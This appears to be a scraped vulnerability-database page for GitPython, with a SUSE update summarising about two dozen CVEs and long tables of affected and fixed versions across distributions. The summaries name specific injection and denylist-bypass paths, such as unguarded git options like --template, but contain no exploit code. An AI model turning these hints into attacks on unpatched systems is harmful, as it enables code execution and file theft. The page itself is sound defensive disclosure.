GHSA-4vpg-pfj8-m33q in GitPython - Patched by Root
Root has patched GHSA-4vpg-pfj8-m33q in the GitPython package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-GHSA-4vpg-pfj8-m33q- Updated
- 2026-11-02
OSVROOT-APP-PYPI-GHSA-956x-8gvw-wg5v No score
GHSA-956x-8gvw-wg5v in GitPython - Patched by Root
Root has patched GHSA-956x-8gvw-wg5v in the GitPython package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-GHSA-956x-8gvw-wg5v- Updated
- 2026-11-02
OSVSUSE-SU-2026:4072-1 No score
Security update for python-GitPython
This update for python-GitPython fixes the following issues:
- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).
- CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).
- CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote() (bsc#1273358).
- CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature (bsc#1273359).
- CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).
- CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names (bsc#1273414).
- CVE-2026-73619: incomplete denylist in the
unsafe_git_archive_optionsguard that omits--add-fileand--add- virtual-fileoptions can lead to arbitrary file reads (bsc#1275755). - CVE-2026-73620: failure to guard git option forwarding in
IndexFile.checkout()andTagReference.create()can lead to arbitrary file reads and writes (bsc#1275756). - CVE-2026-73621: argument injection in the
Commit.count()method allows for destruction/blanking of arbitrary files (bsc#1275757). - CVE-2026-73622: failure to disable environment variable expansion in
Remote.create()andSubmodule.add()URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751). - CVE-2026-73623: incomplete denylist in
unsafe_git_clone_optionsthat omits--templateallows for arbitrary command execution (bsc#1275752). - CVE-2026-73624:
Diffable.diffmethod fails to validate git options passed throughkwargs, which can lead to arbitrary file writes (bsc#1275753). - CVE-2026-73625:
check_unsafe_optionsguard bypass via smuggling of git options inside single-characterkwargvalues can lead to arbitrary code execution (bsc#1275754). - CVE-2026-76217: failure to validate options passed to
git rmandgit checkoutcommands inIndexFile.remove()andHead.checkout()can lead to arbitrary file reads (bsc#1275745). - CVE-2026-76218: unguarded git option forwarding in
Repo.initallows for arbitrary command execution (bsc#1275746). - CVE-2026-76219: unguarded
git read-treeoption forwarding inIndexFile.from_tree/reset/merge_treecan lead to arbitrary file overwrites (bsc#1275747). - CVE-2026-76220:
check_unsafe_optionsguard can be bypassed by combining a single-characterkwargwithsplit_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748). - CVE-2026-76221:
config-nameinjection in theoption-namevalidator can lead to remote code execution (bsc#1275749). - CVE-2026-76222: failure to validate submodule names from
.gitmodulesfiles allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750). - CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives (bsc#1276434).
- CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives (bsc#1276433).
- CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).
- CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents…
- Record
SUSE-SU-2026:4072-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
gitpythonPyPI |
through 3.1.50 | 3.1.51 |
gitpythonTuxCare:PyPI From an advisory covering 5 CVEs |
3.1.31 up to 3.1.31.post10+tuxcare, plus listed versions 3.1.31.post1+tuxcare3.1.31.post2+tuxcare3.1.31.post3+tuxcare3.1.31.post4+tuxcare3.1.31.post5+tuxcare Show 4 moreShow less3.1.31.post6+tuxcare3.1.31.post7+tuxcare3.1.31.post8+tuxcare3.1.31.post9+tuxcare |
3.1.31.post10+tuxcare |
python-gitDebian:12 |
before 3.1.30-1+deb12u3, plus listed versions 3.1.30-13.1.30-1+deb12u2 |
3.1.30-1+deb12u3 |
python-gitDebian:13 |
before 3.1.44-1+deb13u1, plus listed versions 3.1.44-1 |
3.1.44-1+deb13u1 |
python-gitDebian:14 |
before 3.1.61-1, plus listed versions 3.1.44-13.1.45-13.1.46-13.1.50-1 |
3.1.61-1 |
gitpythonPyPI |
before 3.1.51, plus listed versions 0.1.70.2.0-beta10.3.0-beta10.3.0-beta20.3.1-beta2 Show 45 moreShow less0.3.20.3.2.10.3.2.RC10.3.30.3.40.3.50.3.60.3.71.0.01.0.11.0.22.0.02.0.12.0.22.0.32.0.42.0.52.0.62.0.72.0.82.0.92.0.9.dev02.0.9.dev12.1.02.1.12.1.102.1.112.1.122.1.132.1.142.1.152.1.22.1.32.1.42.1.52.1.62.1.72.1.82.1.93.0.03.0.13.0.23.0.33.0.43.0.5 |
3.1.51 |
python-GitPythonopenEuler:24.03-LTS-SP4 From an advisory covering 5 CVEs |
before 3.1.52-1.oe2403sp4 | 3.1.52-1.oe2403sp4 |
python-GitPythonopenEuler:24.03-LTS-SP1 From an advisory covering 5 CVEs |
before 3.1.52-1.oe2403sp1 | 3.1.52-1.oe2403sp1 |
python-GitPythonopenEuler:24.03-LTS-SP3 From an advisory covering 5 CVEs |
before 3.1.52-1.oe2403sp3 | 3.1.52-1.oe2403sp3 |
clangRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
Show 157 moreShow less
| Package | Affected | Fixed |
|---|---|---|
clang-analyzerRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
clang-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
clang-libsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
clang-resource-filesystemRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
clang-tools-extraRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
clang-tools-extra-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
compiler-rtRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
git-clang-formatRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libcxxRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libcxx-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libcxx-staticRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libcxxabiRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libcxxabi-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libcxxabi-staticRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libompRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libomp-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
lldRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
lld-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
lld-libsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
lldbRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
lldb-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvmRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-boltRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-cmake-utilsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-docRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-filesystemRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-googletestRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-libsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-libunwindRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-libunwind-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-libunwind-staticRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-staticRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-testRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
pollyRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
polly-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
python3-clangRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
python3-litRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
python3-lldbRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
swift-langRed Hat:hummingbird:1 From an advisory covering 5 CVEs |
before 0:6.3.3-0.1.1.hum1 | 0:6.3.3-0.1.1.hum1 |
swift-lang-runtimeRed Hat:hummingbird:1 From an advisory covering 5 CVEs |
before 0:6.3.3-0.1.1.hum1 | 0:6.3.3-0.1.1.hum1 |
clang21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
clang21-analyzerRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
clang21-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
clang21-libsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
clang21-resource-filesystemRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
clang21-tools-extraRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
clang21-tools-extra-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
compiler-rt21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
git-clang-format21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
libomp21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
libomp21-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
lld21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
lld21-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
lld21-libsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
lldb21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
lldb21-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-cmake-utilsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-docRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-filesystemRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-googletestRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-libsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-staticRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-testRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
python3-clang21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
python3.12-djangoRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 18 CVEs |
before 0:5.2.17-1.el8ap | 0:5.2.17-1.el8ap |
python3.12-djangoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 18 CVEs |
before 0:5.2.17-1.el8ap | 0:5.2.17-1.el8ap |
python3.12-djangoRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 18 CVEs |
before 0:5.2.17-1.el9ap | 0:5.2.17-1.el9ap |
python3.12-djangoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 18 CVEs |
before 0:5.2.17-1.el9ap | 0:5.2.17-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 18 CVEs |
before 0:4.6.32-1.el8ap | 0:4.6.32-1.el8ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 18 CVEs |
before 0:4.6.32-1.el9ap | 0:4.6.32-1.el9ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 18 CVEs |
before 0:2.5.20260824-1.el8ap | 0:2.5.20260824-1.el8ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 18 CVEs |
before 0:2.5.20260824-1.el9ap | 0:2.5.20260824-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 18 CVEs |
before 0:4.6.32-1.el8ap | 0:4.6.32-1.el8ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 18 CVEs |
before 0:4.6.32-1.el8ap | 0:4.6.32-1.el8ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 18 CVEs |
before 0:4.6.32-1.el9ap | 0:4.6.32-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 18 CVEs |
before 0:4.6.32-1.el9ap | 0:4.6.32-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 18 CVEs |
before 0:3.1.59-1.el8ap | 0:3.1.59-1.el8ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 18 CVEs |
before 0:3.1.59-1.el9ap | 0:3.1.59-1.el9ap |
python3.12-aiohttpRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 18 CVEs |
before 0:3.14.3-1.el8ap | 0:3.14.3-1.el8ap |
python3.12-aiohttpRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 18 CVEs |
before 0:3.14.3-1.el9ap | 0:3.14.3-1.el9ap |
automation-platform-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:2.6.13-1.el9ap | 0:2.6.13-1.el9ap |
python-djangoRed Hat:ansible_automation_platform_developer:2.6::el10 From an advisory covering 20 CVEs |
before 0:5.2.17-1.el10ap | 0:5.2.17-1.el10ap |
python3-djangoRed Hat:ansible_automation_platform_developer:2.6::el10 From an advisory covering 20 CVEs |
before 0:5.2.17-1.el10ap | 0:5.2.17-1.el10ap |
python-djangoRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 20 CVEs |
before 0:5.2.17-1.el10ap | 0:5.2.17-1.el10ap |
python3-djangoRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 20 CVEs |
before 0:5.2.17-1.el10ap | 0:5.2.17-1.el10ap |
python3.12-djangoRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 20 CVEs |
before 0:5.2.17-1.el9ap | 0:5.2.17-1.el9ap |
python3.12-djangoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:5.2.17-1.el9ap | 0:5.2.17-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:4.7.16-1.el9ap | 0:4.7.16-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 20 CVEs |
before 0:4.7.16-1.el9ap | 0:4.7.16-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:4.7.16-1.el9ap | 0:4.7.16-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:3.1.59-1.el9ap | 0:3.1.59-1.el9ap |
python3.12-aiohttpRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:3.14.3-1.el9ap | 0:3.14.3-1.el9ap |
python3.12-aiohttp-debuginfoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:3.14.3-1.el9ap | 0:3.14.3-1.el9ap |
python3.12-aiohttp-debugsourceRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:3.14.3-1.el9ap | 0:3.14.3-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el10ap | 0:1.6.8-1.el10ap |
receptorRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.6::el9 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:2.6.17-3.el9ap | 0:2.6.17-3.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
python-sqlparseRed Hat:ansible_automation_platform_developer:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python3-sqlparseRed Hat:ansible_automation_platform_developer:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python-sqlparseRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python3-sqlparseRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python3.12-sqlparseRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
python3.12-sqlparseRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
automation-platform-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:2.6.14-1.el9ap | 0:2.6.14-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-serverRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:3.1.60-1.el9ap | 0:3.1.60-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:4.6.33-1.el8ap | 0:4.6.33-1.el8ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:4.6.33-1.el9ap | 0:4.6.33-1.el9ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el8ap | 0:1.6.8-1.el8ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el8ap | 0:1.6.8-1.el8ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:2.5.10-8.el8ap | 0:2.5.10-8.el8ap |
receptorRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el8ap | 0:1.6.8-1.el8ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:2.6.17-3.el9ap | 0:2.6.17-3.el9ap |
receptorRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
python3.12-sqlparseRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el8ap | 0:0.6.0-1.el8ap |
python3.12-sqlparseRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el8ap | 0:0.6.0-1.el8ap |
python3.12-sqlparseRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
python3.12-sqlparseRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:2.5.20260923-1.el8ap | 0:2.5.20260923-1.el8ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:2.5.20260923-1.el9ap | 0:2.5.20260923-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:3.1.60-1.el8ap | 0:3.1.60-1.el8ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:3.1.60-1.el9ap | 0:3.1.60-1.el9ap |
GitPythonRoot:PyPI |
before 3.1.47+aikido.9 | 3.1.47+aikido.93.1.46+aikido.123.1.46+aikido.13 |
GitPythonRoot:PyPI |
before 3.1.47+aikido.8 | 3.1.47+aikido.83.1.47+aikido.93.1.46+aikido.123.1.46+aikido.113.1.46+aikido.133.1.50+aikido.13.1.49+aikido.33.1.49+aikido.43.1.50+aikido.23.1.47+aikido.53.1.46+aikido.83.1.50+aikido.33.1.47+aikido.63.1.46+aikido.93.1.47+aikido.73.1.46+aikido.10 |
python-GitPythonSUSE:Linux Enterprise Module for Python 3 15 SP7 From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server 15 SP4-LTSS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server 15 SP5-LTSS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server 15 SP6-LTSS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server for SAP Applications 15 SP4 From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server for SAP Applications 15 SP5 From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server for SAP Applications 15 SP6 From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-gitUbuntu:Pro:14.04:LTS |
